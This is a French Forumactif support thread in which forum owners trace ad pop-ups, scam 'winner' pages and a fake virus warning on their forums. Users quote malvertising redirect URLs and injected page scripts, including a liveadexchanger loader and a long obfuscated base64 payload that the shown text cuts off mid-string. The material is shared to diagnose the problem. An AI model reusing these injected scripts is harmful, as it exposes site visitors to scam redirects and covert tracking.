Pop-up de pub

[Xëanus]

Détails techniques

Version du forum : phpBB2
Poste occupé : Fondateur
Navigateur(s) concerné(s) : Mozilla Firefox
Personnes concernées par le problème : Tous les utilisateurs
Lien du forum : http://ile-du-coeur.forumactif.org/

Description du problème

Bonjour,
J'ai ajouté des liens personnalisé dans mes templates renvoyant vers mon nom de domaine : http://ile-du-coeur.com
Mais de temps en temps, depuis quelques temps, lorsque je clique sur ce lien, j'ai un POP UP SFR s'affiche. Au début je croyais que ça venait d'un autre site, mais il ne me semble pas.
Je n'ai pas de POP UP en me connectant directement sur la page ile-du-coeur.com du coup je suppose que ça vient du lien.
Est-ce que FORUMACTIF a des pubs SFR POP UP ?
Ca me stresse !

[The Godfather]

Bonjour,

Je viens de tester sur votre forum et je n'ai aucun pop-up! Dans tous les cas, Forumactif n'utilise pas le système des pop-up sur ses forums. Probablement un script ajouté et qui les appel a votre insu.

Dans tous les cas, je ne les ai pas même aprés plusieurs tentatives

[Xëanus]

Je l'ai eu a 2/3 reprises, mais c'est rare.

Il ne me semble vraiment pas que ça vienne d'un de mes scripts, puisque je n'ai jamais copié collé de script externe, je les ai toujours moi-même travaillé, donc je pense que je l'aurais vu. D'autant plus que je n'ai découvert ça qu'il y a deux jours (j'étais pas énormément sur mon forum ces derniers temps, du coup ça a pu m'échapper).

Sur un autre forum, un utilisateur m'a dit que vous ajoutiez parfois des publicités sur les liens externes. Si ce n'est pas normal, il semble tout de même que cela touche plusieurs créateurs de forums ?

En me baladant en privé je l'ai de nouveau eu :

Adresse de la pub :

Code:

http://829331534d183e7d1f6a-8d91cc88b27b979d0ea53a10ce8855ec.r96.cf5.rackcdn.com/fr/new/sfr-iphone-nodecept.html?voluumdata=vid..00000004-c1e3-4400-8000-000000000000__vpid..d63e8000-fd1c-11e5-8962-07ad6e2033aa__caid..6b3a5bb1-7e17-4672-8b37-13fd5e06acbf__rt..R__lid..7832befb-9c77-4a3d-bf87-6bd6bcdc3315__oid1..8b4c54c7-fa23-4f86-b0ab-1c41899eba02__var1..1063646__var2..FR__var3..18295105611460074618__var4..24170336__rd..www\.\liveadexchanger\.\com__aid..__ab..__sid..&zone=1063646&lang=FR&clickid=18295105611460074618&campaign=24170336

J'essaie de chercher si ça vient de moi mais je vois pas d'où ça pourrait venir.

[FANCH 56]

Bonjour

Il suffit de vider vos cookies, et cela disparaitra. Cela est dû aux différentes visites sure les sites du net.

[Pinguino]

Bonjour,

The Godfather a écrit:

Dans tous les cas, je ne les ai pas même après plusieurs tentatives réflexion

Je suis dans le même cas, aucune pop-up apparente sur votre forum sur Chrome et Firefox !

Je vais investiguer de mon côté mais le format pop-up et de cette taille en plus ne me dit rien. Il est déjà arrivé que certaines plateformes publicitaires aient des annonceurs utilisant les bannières classiques a des fins malveillantes : injections de redirections automatiques (souvent sur mobile), pop-ups, ... Mais je ne pense pas avoir la réponse avant lundi toutefois.

Pouvez-vous nous donner plus de détails : apparition de la pop-up à chaque affichage ? Toujours une publicité SFR ? Au-dessus de la fenêtre dans une petite fenêtre comme sur votre screen ? Une configuration particulière de votre navigateur ?

Merci,

[sam1993]

Salut ^^

Combien de scripte tu a installer sur ton forum ?

Pour être sur et d'essayer d'enlever scripte par scripte et actualiser pour voir c'est ça revient !!!
Attention sauvegarder vos scripte et votre travail avant !

En suite c'est tourne sur Firefox ou chrome vérifié l'option module c'est ta pas un de ses plugins qui te fait défault de pub dans extension.

Sinon moi j'ai jamais eux ça, j'ai payé mes point et bloquer les pubs et je suis tranquille depuis pour moi et mes membre et invité ! Sinon méthode bar-bar Adblock et c'est fini.

[Neptunia]

Bonjour ^^


Le lien de la pub est pour le moins explicite, votre ordinateur est infecté par liveadexchanger, ce qui explique pourquoi personne ne reproduit le problème.

Vous trouverez sur le web quantité de réponse sur comment se débarasser de cette m***e, dont certaines qui s'empresseront de vous installer un autre logiciel indésirable.

Je vous recommande le couple ADWcleaner / ZHPdiag avant de tenter quoi que ce soit d'autre.

[Invité]

Salut à toutes et à tous,

hum ce sujet me concerne aussi sur un de mes forums :

Pour invision (forum de test):
http://invision.bbactif.com/
Lorsque je clique sur un bouton quelconque (même lien du P.A)
j'ai des pop ups (toujours Orange mon F.A.I) et aujourd'hui ceci:
Le lien:

Code:

http://google.com-members.space/fr/?iso=fr&b=Desktop&m=Desktop&c=FR&o=Windows&isp=Orange%20s.a.&ca=&d=DESKTOP&bw=Firefox&ag=Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20rv%3A45.0%29%20Gecko%2F20100101%20Firefox%2F45.0&voluumdata=vid..00000002-bcfa-4c46-8000-000000000000__vpid..4b42b000-fe18-11e5-8e5c-f21813068215__caid..160be27e-b8a3-4551-9656-41888ef69383__rt..R__lid..d041af18-dbf0-4def-ab25-388416f20988__oid1..8288751b-5c7e-4b51-a94a-5a1d5e8173a4__var1..1063646__var2..FR__var3..27792977__var4..1460184782__var5..336854631460184782__var7..oZ1D-RXVyb3BlL0Jlcmxpbg%253D%253D-wXJPf__var8..00-82-X4h7ET__var9..1440x900__rd..www%5C.%5Ctrkfl%5C.%5Ccom__aid..__ab..__sid..&ssl=MTQ2MDE4NDc4Mw%3D%3D.HcsSmumlG47ev_i4_0PJDyY0oIs%3D&sha5=oZ1D-RXVyb3BlL0Jlcmxpbg%3D%3D-wXJPf&iwor=c7beed3c9343&siteid=1063646&countryid=FR&campaign=27792977&time=1460184782&var5=336854631460184782&srs=1440x900&sha6=00-82-X4h7ET&wor=x#valid

Pour information je ne suis pas infecté .

a++

[kiwi14637]

Milouze14 a écrit:

Salut à toutes et à tous,

hum ce sujet me concerne aussi sur un de mes forums  :

Pour invision (forum de test):
http://invision.bbactif.com/
Lorsque je clique sur un bouton quelconque (même lien du P.A)
j'ai des pop ups (toujours Orange mon F.A.I) et aujourd'hui ceci:
Le lien:

Code:

http://google.com-members.space/fr/?iso=fr&b=Desktop&m=Desktop&c=FR&o=Windows&isp=Orange%20s.a.&ca=&d=DESKTOP&bw=Firefox&ag=Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20rv%3A45.0%29%20Gecko%2F20100101%20Firefox%2F45.0&voluumdata=vid..00000002-bcfa-4c46-8000-000000000000__vpid..4b42b000-fe18-11e5-8e5c-f21813068215__caid..160be27e-b8a3-4551-9656-41888ef69383__rt..R__lid..d041af18-dbf0-4def-ab25-388416f20988__oid1..8288751b-5c7e-4b51-a94a-5a1d5e8173a4__var1..1063646__var2..FR__var3..27792977__var4..1460184782__var5..336854631460184782__var7..oZ1D-RXVyb3BlL0Jlcmxpbg%253D%253D-wXJPf__var8..00-82-X4h7ET__var9..1440x900__rd..www%5C.%5Ctrkfl%5C.%5Ccom__aid..__ab..__sid..&ssl=MTQ2MDE4NDc4Mw%3D%3D.HcsSmumlG47ev_i4_0PJDyY0oIs%3D&sha5=oZ1D-RXVyb3BlL0Jlcmxpbg%3D%3D-wXJPf&iwor=c7beed3c9343&siteid=1063646&countryid=FR&campaign=27792977&time=1460184782&var5=336854631460184782&srs=1440x900&sha6=00-82-X4h7ET&wor=x#valid

Pour information je ne suis pas infecté    .

a++

Bonjour,

J'ai exactement le même problème. Il apparaît dès que j'ouvre mon forum pour la première fois et que je clique sur la page (n'importe où). Bien sûr, quand je reviens sur le forum plus tard et même après avoir vidé le cache, il ne réapparaît plus.
Cela doit sans doute venir d'un publicitaire malveillant qui fait en sorte qu'une même IP ne voit ce message qu'une seule fois puisqu'en plus, le lien de redirection contient des informations bien précises.

[Walt]

Bonjour,

J'étais en train de tester en vain sur le forum cité par @Milouze14, pouvez-vous me donner le lien de celui dont vous parlez, @kiwi14637 ?

Cordialement,

[sam1993]

Je suis entrée dans votre forum, aucun problème, j'ai même désactivez mes bloqueur de pub ! rien  , donc aucun problème de publicité, vérifie vous navigateur chers amis !! ou vous programme sur pc ce que vous installez !

sinon comme j'ai dit installer Adblock et histoire terminer.

[Invité]

Salut sam1993,
hum, Adblock bloque les pop up ou les pubs mais ne règle pas le problème rencontré .

a++

[kiwi14637]

Walt a écrit:

Bonjour,

J'étais en train de tester en vain sur le forum cité par @Milouze14, pouvez-vous me donner le lien de celui dont vous parlez, @kiwi14637 ?

Cordialement,

J'ai aussi un truc pour Orange qui apparaît comme Milouze --> publicité ciblée ?

Edit : Je suis passé par Internet Explorer cette fois et j'ai eu à nouveau le problème. Toutefois, j'ai quelques compléments d'informations :

Le lien qui s'affiche et qui redirige : http://www.trkfl.com/rdr.php?hashKey=160be27e-b8a3-4551-9656-41888ef69383&iso=FR&iwor=c7beed3c9343&siteid=1063646&countryid=FR&campaign=27792977&time=1460215542&var5=15108083091460215542

Le lien malveillant : http://google.com-memberships.site/fr/?iso=fr&b=Desktop&m=Desktop&c=FR&o=Windows&isp=Orange%20s.a.&ca=&d=DESKTOP&bw=Internet%20Explorer&ag=Mozilla%2F5.0%20%28Windows%20NT%206.1%3B%20WOW64%3B%20Trident%2F7.0%3B%20rv%3A11.0%29%20like%20Gecko&voluumdata=vid..00000003-89a2-4d31-8000-000000000000__vpid..bb2a5800-fe63-11e5-87ca-e545b17476f1__caid..160be27e-b8a3-4551-9656-41888ef69383__rt..R__lid..831f058b-c1b0-4fc8-b697-f4dc89cfb718__oid1..f8eccdbf-9336-426c-85f9-2fd8ecade10c__var1..1063646__var2..FR__var3..27792977__var4..1460215542__var5..15108083091460215542__var7..oXA2-RXVyb3BlL0Jlcmxpbg%253D%253D-moIJt__var8..48-206-81Gl54__var9..1440x900__rd..www%5C.%5Ctrkfl%5C.%5Ccom__aid..__ab..__sid..&ssl=MTQ2MDIxNTU0NA%3D%3D.FptlJ40jGSkg15foIm1JCKkqQls%3D&sha5=oXA2-RXVyb3BlL0Jlcmxpbg%3D%3D-moIJt&iwor=c7beed3c9343&siteid=1063646&countryid=FR&campaign=27792977&time=1460215542&var5=15108083091460215542&srs=1440x900&sha6=48-206-81Gl54&wor=x#valid

La chose qui s'est incrustée dans le code source, à la fin, et qui est présente seulement quand on a ce pop-up :

Code:

<script type="text/javascript">
    document.write('<scr' + 'ipt data-cfasync="false" type="text/javascript" src="http://www.liveadexchanger.com/a/display.php?r=1063646"></scr' + 'ipt>');
</script>

Voilà ! J'espère que ça vous aidera... en sachant que j'ai désactivé la gestion des codes javascript et les templates avant même d'avoir le pop-up ci-dessus.

@Walt

[Invité]

Salut kiwi14637,
juste pour savoir ,ton F.A.I est "Orange"?
J'ai toujours cette pub de mon côté et
je me posé la question suivante comme ce F.A.I dépose dans la base de registre un script permettant
de mettre "Orange" en page d'accueil !!!!!!
Dans Firefox /Modules j'ai supprimé le plugin d'orange et je n'ai plus ce soucis,
mais bon attendons demain car je doute que cette action résolve notre problème.


a++

[kiwi14637]

Milouze14 a écrit:

Salut kiwi14637,
juste pour savoir ,ton F.A.I est "Orange"?
J'ai toujours cette pub de mon côté et
je me posé la question suivante comme ce F.A.I dépose dans la base de registre un script permettant
de mettre "Orange" en page d'accueil !!!!!!
Dans Firefox /Modules j'ai supprimé le plugin d'orange et je n'ai plus ce soucis,
mais bon attendons demain car je doute que cette action résolve notre problème.


a++

Oui, j'ai aussi Orange mais je n'ai pas ce problème sur d'autres sites.
Personnellement, j'ai l'antivirus Orange (Kaspersky) donc il installe plein de trucs en plus mais je ne pense pas que le problème vienne de là.
Sinon, Firefox a une base de registre (en fait un fichier qui contient nos préférences. Le lien, je ne m'en rappelle plus mais Adwcleaner le signale toujours). Pour y accéder autrement qu'en modifiant directement le fichier : about:config. La clé pour la page d'accueil : browser.startup.homepage

[Invité]

Re,

Citation :

Oui, j'ai aussi Orange mais je n'ai pas ce problème sur d'autres sites.
Personnellement, j'ai l'antivirus Orange (Kaspersky) donc il installe plein de trucs en plus mais je ne pense pas que le problème vienne de là.

Je n'ai pas non plus de soucis sur le autres sites, le soucis est arrivé depuis l'ajout du template et le script qui va avec concernant le tag :
https://forum.forumactif.com/t384230-nouveautes-forcage-du-css-de-base-du-forum-previsualisation-du-profil-des-pseudos-tagues#3233406

Est ce une coïncidence ?
a++

[kiwi14637]

Non, je pense plutôt que c'est lié à une pub...
Attendons l'avis de Forumactif.

Bonne soirée en attendant !

[sam1993]

Milouze14 a écrit:

Re,

Citation :

Oui, j'ai aussi Orange mais je n'ai pas ce problème sur d'autres sites.
Personnellement, j'ai l'antivirus Orange (Kaspersky) donc il installe plein de trucs en plus mais je ne pense pas que le problème vienne de là.

Je n'ai pas non plus de soucis sur le autres sites, le soucis est arrivé depuis l'ajout du template et le script qui va avec concernant le tag :
https://forum.forumactif.com/t384230-nouveautes-forcage-du-css-de-base-du-forum-previsualisation-du-profil-des-pseudos-tagues#3233406

Est ce une coïncidence  ?
a++

Salut,

pour le savoir tu à juste à le supprimer ensuite sauvegarder et essayer pour voir ce que ça donne, ça n'a rien n'avoir avec ton opérateur  ou forumactif   

Soit vous avez un plugin dans vos navigateur qui joue avec vous ou un lien publicitaire dans votre base de registre qui vous suit à la trace, soit ton scripte et pour le savoir je l'ai déjà dit en haut, et de faire les choses pas à pas !! c'est tout.

[kiwi14637]

sam1993 a écrit:

Milouze14 a écrit:

Re,

Citation :

Oui, j'ai aussi Orange mais je n'ai pas ce problème sur d'autres sites.
Personnellement, j'ai l'antivirus Orange (Kaspersky) donc il installe plein de trucs en plus mais je ne pense pas que le problème vienne de là.

Je n'ai pas non plus de soucis sur le autres sites, le soucis est arrivé depuis l'ajout du template et le script qui va avec concernant le tag :
https://forum.forumactif.com/t384230-nouveautes-forcage-du-css-de-base-du-forum-previsualisation-du-profil-des-pseudos-tagues#3233406

Est ce une coïncidence  ?
a++

Salut,

pour le savoir tu à juste à le supprimer ensuite sauvegarder et essayer pour voir ce que ça donne, ça n'a rien n'avoir avec ton opérateur  ou forumactif   

Soit vous avez un plugin dans vos navigateur qui joue avec vous ou un lien publicitaire dans votre base de registre qui vous suit à la trace, soit ton scripte et pour le savoir je l'ai déjà dit en haut, et de faire les choses pas à pas !! c'est tout.

Ne vous inquiétez pas, nous ne sommes pas novices dans la chose, même si nous prenons toute remarque en compte.

[Invité]

Re,

kiwi14637 a écrit:

Ne vous inquiétez pas, nous ne sommes pas novices dans la chose, même si nous prenons toute remarque en compte.

Bonne soirée à toi aussi et rien d'autre a ajouter .

a++

[sam1993]

kiwi14637 a écrit:

sam1993 a écrit:

Milouze14 a écrit:

Re,

Citation :

Oui, j'ai aussi Orange mais je n'ai pas ce problème sur d'autres sites.
Personnellement, j'ai l'antivirus Orange (Kaspersky) donc il installe plein de trucs en plus mais je ne pense pas que le problème vienne de là.

Je n'ai pas non plus de soucis sur le autres sites, le soucis est arrivé depuis l'ajout du template et le script qui va avec concernant le tag :
https://forum.forumactif.com/t384230-nouveautes-forcage-du-css-de-base-du-forum-previsualisation-du-profil-des-pseudos-tagues#3233406

Est ce une coïncidence  ?
a++

Salut,

pour le savoir tu à juste à le supprimer ensuite sauvegarder et essayer pour voir ce que ça donne, ça n'a rien n'avoir avec ton opérateur  ou forumactif   

Soit vous avez un plugin dans vos navigateur qui joue avec vous ou un lien publicitaire dans votre base de registre qui vous suit à la trace, soit ton scripte et pour le savoir je l'ai déjà dit en haut, et de faire les choses pas à pas !! c'est tout.

Ne vous inquiétez pas, nous ne sommes pas novices dans la chose, même si nous prenons toute remarque en compte.

 très bien kiwi ^^

[Chacha]

Bonjour, Attention, cela fait 6 jours que nous n'avons pas de nouvelles concernant votre demande, si vous ne voulez pas voir votre sujet déplacé à la corbeille, merci de poster dans les 24h qui suivent ce message. Si votre sujet est résolu, merci d'éditer votre premier message et de cocher l'icône « résolu »

[kiwi14637]

Chacha a écrit:

Bonjour, Attention, cela fait 6 jours que nous n'avons pas de nouvelles concernant votre demande, si vous ne voulez pas voir votre sujet déplacé à la corbeille, merci de poster dans les 24h qui suivent ce message. Si votre sujet est résolu, merci d'éditer votre premier message et de cocher l'icône « résolu »

Up alors !

Merci !

[Serleena]

Bonjour !

J'ai le même souci depuis hier soir, quand je clique sur le bouton "connexion" d'un forum FA j'ai à chaque fois une page de pub SFR qui s'ouvre, pas en pop up mais en nouvel onglet. Ça ne le fait que la première fois (si je me déco/reco là ça n'apparaît plus), mais j'ai eu la même chose sur trois forums différents en voulant me connecter. La page qui s'affiche est la suivante :

Code:

http://sfr.recompenses.xyz/InstantGagnant/?city=Azerailles&browser=Chrome&isp=Societe%20Francaise%20Du%20Radiotelephone&voluumdata=vid..00000006-53f3-4d1a-8000-000000000000__vpid..2085c800-03d3-11e6-8b6d-61e5c74a8c6a__caid..e79c56ac-0105-4bf9-a8f3-ed1e5f4863ae__rt..R__lid..1558e0e4-8e99-41fd-85f6-0e762db3d5d0__oid1..e2c0fa7c-e082-4d2a-829f-fc5c262caa29__var1..1161248__var2..FR__var3..14096505281460812171__var4..1460812171__var5..33297800__rd..www%5C.%5Cpub-rpg-design%5C.%5Ccom__aid..__ab..__sid..&zone=1161248&lang=FR&clickid=14096505281460812171&time=1460812171&campaign=33297800

J'utilise Chrome et j'ai bien AdBlock installé. Je suis par ailleurs chez SFR, mais je ne suis pas sûre que cela ait une influence. Je vais déjà essayer de lancer des analyses sur mon ordi mais le problème semble tout de même spécifique à FA, c'est étrange.

[Wave]

Bonjour,

J'ai exactement le même problème sur mon forum de test, cette page s'ouvre quasiment une fois par jour dès que je clique quelque part:

http://trkftw.com/jm/fr-macos/trck.php?hash=f1ace510-cdf5-43b0-bb39-e355123ba86f&camp=36796064&zoneid=1063646&clickid=13563212831460819257

Je n'ai aucun script externe installé susceptible d'injecter de la pub, de même pour les extensions.

Cordialement,

[kiwi14637]

Serleena a écrit:

Bonjour !

J'ai le même souci depuis hier soir, quand je clique sur le bouton "connexion" d'un forum FA j'ai à chaque fois une page de pub SFR qui s'ouvre, pas en pop up mais en nouvel onglet. Ça ne le fait que la première fois (si je me déco/reco là ça n'apparaît plus), mais j'ai eu la même chose sur trois forums différents en voulant me connecter. La page qui s'affiche est la suivante :

Code:

http://sfr.recompenses.xyz/InstantGagnant/?city=Azerailles&browser=Chrome&isp=Societe%20Francaise%20Du%20Radiotelephone&voluumdata=vid..00000006-53f3-4d1a-8000-000000000000__vpid..2085c800-03d3-11e6-8b6d-61e5c74a8c6a__caid..e79c56ac-0105-4bf9-a8f3-ed1e5f4863ae__rt..R__lid..1558e0e4-8e99-41fd-85f6-0e762db3d5d0__oid1..e2c0fa7c-e082-4d2a-829f-fc5c262caa29__var1..1161248__var2..FR__var3..14096505281460812171__var4..1460812171__var5..33297800__rd..www%5C.%5Cpub-rpg-design%5C.%5Ccom__aid..__ab..__sid..&zone=1161248&lang=FR&clickid=14096505281460812171&time=1460812171&campaign=33297800

J'utilise Chrome et j'ai bien AdBlock installé. Je suis par ailleurs chez SFR, mais je ne suis pas sûre que cela ait une influence. Je vais déjà essayer de lancer des analyses sur mon ordi mais le problème semble tout de même spécifique à FA, c'est étrange.

Bonjour,

Je pense que si puisque c'est un faux pop-up (nouvel onglet en fait) Orange qui apparaît pour moi (je suis chez Orange).

Bonne journée ! J'espère que ça sera quand même vite réglé...

[David1195]

Bonjour à tous.

J'ai le même problème sur mon forum.
Une pop-up apparait au nom de mon fournisseur d’accès internet, disant que j'ai gagné (je ne sait quoi je lit pas). Une autres fenêtre s'ouvre en même temps me disant que GOOGLE CHROME veux mon avis sur leur navigateur (j'ai pas chrome, j'ai firefox).
Pour info je n'ai pas changer de template, ni javascript rien. Ces fenêtres ne s'ouvre qu'avec mon forum, nul part d'autre. merci

[Serleena]

Hello,

J'ai de nouveau eu le souci aujourd'hui en voulant me connecter (ça ne semble le faire que sur le bouton de connexion chez moi ?) mais cette fois ce n'était pas une pub SFR mais un classique message "votre pc est infecté blabla appelez ce numéro pour vous protéger" sur ce lien :

Code:

http://ibigrewards.com/index.php?c1=1161248#

(Je vous déconseille toutefois de cliquer dessus c'est une plaie à fermer.)

J'ai fait plusieurs analyses diverses hier mais sans résultats... ça devient un peu ennuyeux cette histoire, j'espère qu'on trouvera rapidement une solution !

[The Godfather]

Bonjour,

Pour info, nous travaillons actuellement sur une solution qui devrait corriger ce problème si vraiment il vient de notre côté.

Je vous tiendrai au courant dès sa publication en ligne sur les forums.

Merci pour votre patience

Code de suivi de la correction : #2104

[kiwi14637]

kiwi14637 a écrit:

Walt a écrit:

Bonjour,

J'étais en train de tester en vain sur le forum cité par @Milouze14, pouvez-vous me donner le lien de celui dont vous parlez, @kiwi14637 ?

Cordialement,

J'ai aussi un truc pour Orange qui apparaît comme Milouze --> publicité ciblée ?

Edit : Je suis passé par Internet Explorer cette fois et j'ai eu à nouveau le problème. Toutefois, j'ai quelques compléments d'informations :

Le lien qui s'affiche et qui redirige : http://www.trkfl.com/rdr.php?hashKey=160be27e-b8a3-4551-9656-41888ef69383&iso=FR&iwor=c7beed3c9343&siteid=1063646&countryid=FR&campaign=27792977&time=1460215542&var5=15108083091460215542

Le lien malveillant : http://google.com-memberships.site/fr/?iso=fr&b=Desktop&m=Desktop&c=FR&o=Windows&isp=Orange%20s.a.&ca=&d=DESKTOP&bw=Internet%20Explorer&ag=Mozilla%2F5.0%20%28Windows%20NT%206.1%3B%20WOW64%3B%20Trident%2F7.0%3B%20rv%3A11.0%29%20like%20Gecko&voluumdata=vid..00000003-89a2-4d31-8000-000000000000__vpid..bb2a5800-fe63-11e5-87ca-e545b17476f1__caid..160be27e-b8a3-4551-9656-41888ef69383__rt..R__lid..831f058b-c1b0-4fc8-b697-f4dc89cfb718__oid1..f8eccdbf-9336-426c-85f9-2fd8ecade10c__var1..1063646__var2..FR__var3..27792977__var4..1460215542__var5..15108083091460215542__var7..oXA2-RXVyb3BlL0Jlcmxpbg%253D%253D-moIJt__var8..48-206-81Gl54__var9..1440x900__rd..www%5C.%5Ctrkfl%5C.%5Ccom__aid..__ab..__sid..&ssl=MTQ2MDIxNTU0NA%3D%3D.FptlJ40jGSkg15foIm1JCKkqQls%3D&sha5=oXA2-RXVyb3BlL0Jlcmxpbg%3D%3D-moIJt&iwor=c7beed3c9343&siteid=1063646&countryid=FR&campaign=27792977&time=1460215542&var5=15108083091460215542&srs=1440x900&sha6=48-206-81Gl54&wor=x#valid

La chose qui s'est incrustée dans le code source, à la fin, et qui est présente seulement quand on a ce pop-up :

Code:

<script type="text/javascript">
    document.write('<scr' + 'ipt data-cfasync="false" type="text/javascript" src="http://www.liveadexchanger.com/a/display.php?r=1063646"></scr' + 'ipt>');
</script>

Voilà ! J'espère que ça vous aidera... en sachant que j'ai désactivé la gestion des codes javascript et les templates avant même d'avoir le pop-up ci-dessus.

@Walt

Bonjour,

En allant sur le forum de Milouze http://invision.bbactif.com/ je suis tombé à nouveau sur une fausse pub "Google" qui s'est ouverte. En examinant le code de la page, j'ai trouvé ceci (désolé pour les retours à la ligne + sauts de ligne intempestifs, c'est une erreur de copie depuis le Bloc-Notes)

Code:

<script type="text/javascript">
//<![CDATA[
    $(document).on( "BlockedAds", function( event ) {
    $( 'head' ).append( '<scr' + 'ipt type="text/javascript"

src="http://www.youradexchange.com/script/packcpm.php?

r=1063646&runauction=1"></scr' + 'ipt>' );
    $( 'body' )
        .append( $( '<span id="HZKGmAFr" style="display:none;" />' ).html

('dmFyIF8weGQ5ZDk9WyJceDVGXHgzMFx4NzhceDM5XHgzMFx4NjFceDYxIiwiXHg

3M1x4NzRceDc1XHg2RVx4M0FceDMxXHgzN1x4MzVceDM1XHgzMFx4MzBceDMxXHg

zOFx4MzJceDM2XHgzQVx4MzRceDM0XHgzMyIsIlx4NTJceDU0XHg0M1x4NTBceD

Y1XHg2NVx4NzJceDQzXHg2Rlx4NkVceDZFXHg2NVx4NjNceDc0XHg2OVx4NkZceD

ZFIiwiXHg2RFx4NkZceDdBXHg1Mlx4NTRceDQzXHg1MFx4NjVceDY1XHg3Mlx4NDNc

eDZGXHg2RVx4NkVceDY1XHg2M1x4NzRceDY5XHg2Rlx4NkUiLCJceDc3XHg2NVx4Nj

JceDZCXHg2OVx4NzRceDUyXHg1NFx4NDNceDUwXHg2NVx4NjVceDcyXHg0M1x4Nk

ZceDZFXHg2RVx4NjVceDYzXHg3NFx4NjlceDZGXHg2RSIsIlx4NkZceDZFXHg2OVx4

NjNceDY1XHg2M1x4NjFceDZFXHg2NFx4NjlceDY0XHg2MVx4NzRceDY1IiwiXHg2M1

x4NjFceDZFXHg2NFx4NjlceDY0XHg2MVx4NzRceDY1IiwiXHg2NVx4NzhceDY1XHg2

MyIsIlx4NkRceDYxXHg3NFx4NjNceDY4IiwiXHg3M1x4NjNceDcyXHg2OVx4NzBceDc

0IiwiXHg2M1x4NzJceDY1XHg2MVx4NzRceDY1XHg0NVx4NkNceDY1XHg2RFx4NjVce

DZFXHg3NCIsIlx4NjRceDYxXHg3NFx4NjFceDJEXHg2M1x4NjZceDYxXHg3M1x4Nzl

ceDZFXHg2MyIsIlx4NjNceDcyXHg2NVx4NjFceDc0XHg2NVx4NDFceDc0XHg3NFx4N

zJceDY5XHg2Mlx4NzVceDc0XHg2NSIsIlx4NzZceDYxXHg2Q1x4NzVceDY1IiwiXHg3

M1x4NjVceDc0XHg0MVx4NzRceDc0XHg3Mlx4NjlceDYyXHg3NVx4NzRceDY1XHg0RV

x4NkZceDY0XHg2NSIsIlx4MkYiLCJceDczXHg3Mlx4NjMiLCJceDY4XHg3NFx4NzRce

DcwXHgzQVx4MkZceDJGIiwiXHg2NVx4NkVceDYzXHg2Rlx4NjRceDY1IiwiXHg2Rlx4

NkVceDZDXHg2Rlx4NjFceDY0IiwiXHg2M1x4NkZceDZFXHg2Nlx4NjlceDY3IiwiXHg2

Rlx4NkVceDYzXHg2Q1x4NjlceDYzXHg2QiIsIlx4NjEiLCJceDY4XHg3Mlx4NjVceDY2I

iwiXHg3NVx4NzJceDZDIiwiXHg3NFx4NjFceDcyXHg2N1x4NjVceDc0IiwiXHg1Rlx4Mz

IiLCJceDYxXHg3MFx4NzBceDY1XHg2RVx4NjRceDQzXHg2OFx4NjlceDZDXHg2NCIs

Ilx4NjJceDZGXHg2NFx4NzkiLCJceDYzXHg2Q1x4NjlceDYzXHg2QiIsIlx4NjRceDY5

XHg3M1x4NzBceDYxXHg3NFx4NjNceDY4XHg0NVx4NzZceDY1XHg2RVx4NzQiLCJce

DcyXHg2NVx4NkRceDZGXHg3Nlx4NjVceDQzXHg2OFx4NjlceDZDXHg2NCIsIlx4NzB

ceDYxXHg3Mlx4NjVceDZFXHg3NFx4NEVceDZGXHg2NFx4NjUiLCJceDYxXHg3M1x4

NzlceDZFXHg2MyIsIlx4NzVceDZFXHg2NFx4NjVceDY2XHg2OVx4NkVceDY1XHg2NC

IsIlx4NzNceDYzXHg3Mlx4NjlceDcwXHg3NFx4NzMiLCJceDY3XHg2NVx4NzRceDQ1

XHg2Q1x4NjVceDZEXHg2NVx4NkVceDc0XHg3M1x4NDJceDc5XHg1NFx4NjFceDY3X

Hg0RVx4NjFceDZEXHg2NSIsIlx4NjlceDZFXHg3M1x4NjVceDcyXHg3NFx4NDJceDY1

XHg2Nlx4NkZceDcyXHg2NSIsIiIsIlx4NjNceDcyXHg2NVx4NjFceDc0XHg2NVx4NDR

ceDYxXHg3NFx4NjFceDQzXHg2OFx4NjFceDZFXHg2RVx4NjVceDZDIiwiXHg3M1x4N

jVceDc0XHg0Q1x4NkZceDYzXHg2MVx4NkNceDQ0XHg2NVx4NzNceDYzXHg3Mlx4N

jlceDcwXHg3NFx4NjlceDZGXHg2RSIsIlx4NjNceDcyXHg2NVx4NjFceDc0XHg2NVx4N

EZceDY2XHg2Nlx4NjVceDcyIiwiXHg2Q1x4NjVceDZFXHg2N1x4NzRceDY4IiwiXHg3

M1x4NzVceDYyXHg3M1x4NzRceDcyIiwiXHgzMFx4MzBceDMwIiwiXHgzMFx4MzBceD

MxIiwiXHg2Nlx4NzJceDZGXHg2RFx4NDNceDY4XHg2MVx4NzJceDQzXHg2Rlx4NjR

ceDY1IiwiXHg2M1x4NkZceDZFXHg2M1x4NjFceDc0IiwiXHg3Mlx4NjFceDZFXHg2NF

x4NkZceDZEIiwiXHg2Nlx4NkNceDZGXHg2Rlx4NzIiLCJceDcyXHg2NVx4NzBceDZD

XHg2MVx4NjNceDY1IiwiXHg0MVx4NDJceDQzXHg0NFx4NDVceDQ2XHg0N1x4NDhc

eDQ5XHg0QVx4NEJceDRDXHg0RFx4NEVceDRGXHg1MFx4NTFceDUyXHg1M1x4NTR

ceDU1XHg1Nlx4NTdceDU4XHg1OVx4NUFceDYxXHg2Mlx4NjNceDY0XHg2NVx4NjZce

DY3XHg2OFx4NjlceDZBXHg2Qlx4NkNceDZEXHg2RVx4NkZceDcwXHg3MVx4NzJce

DczXHg3NFx4NzVceDc2XHg3N1x4NzhceDc5XHg3QVx4MzBceDMxXHgzMlx4MzNceD

M0XHgzNVx4MzZceDM3XHgzOFx4MzlceDJCXHgyRlx4M0QiLCJceDYzXHg2OFx4Nj

FceDcyXHg0M1x4NkZceDY0XHg2NVx4NDFceDc0IiwiXHg2M1x4NjhceDYxXHg3Mlx4

NDFceDc0IiwiXHg1Rlx4MzAiXTsoZnVuY3Rpb24oKXtpZih2b2lkKDApPT13aW5kb3dbX

zB4ZDlkOVswXV0pe3ZhciBfMHg5NTQ1eDE9ZnVuY3Rpb24oXzB4OTU0NXg5KXt2YX

IgXzB4OTU0NXhhPSBuZXcgKHdpbmRvd1tfMHhkOWQ5WzJdXXx8d2luZG93W18weG

Q5ZDlbM11dfHx3aW5kb3dbXzB4ZDlkOVs0XV0pKHtpY2VTZXJ2ZXJzOlt7dXJsOl8

weGQ5ZDlbMV19XX0se29wdGlvbmFsOlt7UnRwRGF0YUNoYW5uZWxzOiEwfV19KTtf

